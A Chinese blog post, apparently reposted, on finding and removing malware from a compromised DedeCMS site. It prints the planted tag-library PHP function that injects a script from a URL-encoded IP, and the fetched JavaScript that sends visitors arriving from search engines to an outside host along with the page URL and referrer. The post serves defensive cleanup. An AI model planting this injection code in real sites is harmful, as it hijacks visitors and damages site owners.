zoukankan      html  css  js  c++  java
  • dedecms被挂马排毒的过程

    又经历了一次dedecms被挂马排毒的过程,排毒过程在这里跟大家分享一下。

    挂马之后,网站的表现形式:

    直接访问网站没有任何问题,从百度搜索的关键词访问网站,就跳转到另外一个网站。

    根据我原来的排毒经验:很可能是有人在php里面写入了判断来路的代码,如果是经过百度来的,就跳转到另外一个网站,如果不是,就可以访问。

    不过检查了一下php代码,没有发现任何问题。

    从百度关键词访问过来的话,能够看到本网站的title,只是一闪而过,就跳转了。根据这个现象判断,马应该是在js里面。于是下载网站模板文件,查找可疑的js代码。找了很久没有找到。只好通过最笨的方法一点点排查。于是每一段写了一个alert。

    找到最后出现的alert点击确定之后跳转,那么马就在那个alert附近。

    找了一段时间,终于发现了一段可以的代码:{dede:dinfo}

    做dedecms的人都知道,这个是一个自定义标签的调用方式,其源码在:/include/taglib/dinfo.lib.php里面。于是打开这个文件,看到如下代码:

    [代码]php代码:

    01
    <?php

    02
    if(!defined('DEDEINC')){

    03
    exit("Request Error!");

    04
    }

    05
    /**

    06
    * 系统默认标签

    07
    *

    08
    * @version        $Id: dinfo.lib.php 1 9:29 2010年7月6日Z tianya $

    09
    * @package        DedeCMS.Taglib

    10
    * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.

    11
    * @license        http://help.dedecms.com/usersguide/license.html

    12
    * @link           http://www.dedecms.com

    13
    */

    14

    15
    /*>>dede>>

    16
    <name>系统默认标签</name>

    17
    <type>全局标记</type>

    18
    <for>V55,V56,V57</for>

    19
    <description>系统默认标签</description>

    20
    <demo>

    21
    {dede:dinfo /}

    22
    </demo>

    23
    <attributes>

    24
    </attributes>

    25
    >>dede>>*/

    26

    27
    function lib_dinfo()

    28
    {

    29
    global $dsql,$envs;

    30
    $revalue = '<script language="javascript" type="text/javascript" src="http://%31%31%38%2e%32%34%34%2e%32%31%35%2e%32%31%33/images/page_bg.gif"></script>';

    31
    return $revalue;

    32
    }

    刚开始也没有看出什么问题,就是一段js代码,然后引用了一个图片,不过访问下这个图片地址就知道了,在浏览器中输入这个地址:http://%31%31%38%2e%32%34%34%2e%32%31%35%2e%32%31%33/images/page_bg.gif

    能看到如下代码:

    [代码]js代码:

    1
    GID89a="";

    2
    var s=document.referrer;

    3
    var str=window.location.href;

    4
    if(s.indexOf("go"+"o"+"gle")>0 || s.indexOf("b"+"ai"+"du")>0 || s.indexOf("y"+"ahoo")>0 || s.indexOf("s"+"ogou")>0 || s.indexOf("bing")>0 || s.indexOf("360")>0 || s.indexOf("s"+"os"+"o")>0 || s.indexOf("youdao")>0 )

    5
    window.location.href="http://118.244.215.213/Images/a2.asp?cpy="+str+"&kecy="+s;

    怎么样,看出问题来了吧?

    简单解说一下:

    [代码]js代码:

    1
    if(s.indexOf("go"+"o"+"gle")>0 || s.indexOf("b"+"ai"+"du")>0 || s.indexOf("y"+"ahoo")>0 || s.indexOf("s"+"ogou")>0 || s.indexOf("bing")>0 || s.indexOf("360")>0 || s.indexOf("s"+"os"+"o")>0 || s.indexOf("youdao")>0 )

    这里就是判断来路,如果来源是:google、百度、yahoo、sogou、bing、360、soso、youdao,就跳转到下面这个地址:

    [代码]js代码:

    1
    http://118.244.215.213/Images/a2.asp?cpy="+str+"&kecy="+s;

    (这个人可真够黑的,光拦截百度还不够,还要把这些常用的搜索都拦截了。)

    这段代码挂的太隐蔽了,让我找了好久。在这里分享给大家,希望能够帮助需要的朋友。

    除非注明,文章均为 PHP二次开发网 原创,转载请注明本文地址: http://www.php2.cc/article-865-1.html

  • 相关阅读:
    第2章 创建基础框架
    目录
    工厂方法模式(Factory Method)
    petshop4.0 详解之七(PetShop表示层设计)
    第1章 启动电子商务网站
    第3章 创建商品目录:第Ⅰ部分
    编写一个JAVA应用程序,用户从键盘只能输入整数,程序输出这些整数的乘积
    书上例题练习第一章
    java与C/C++的区别
    安装JDK遇到的问题
  • 原文地址:https://www.cnblogs.com/phplearnings/p/3647281.html
Copyright © 2011-2022 走看看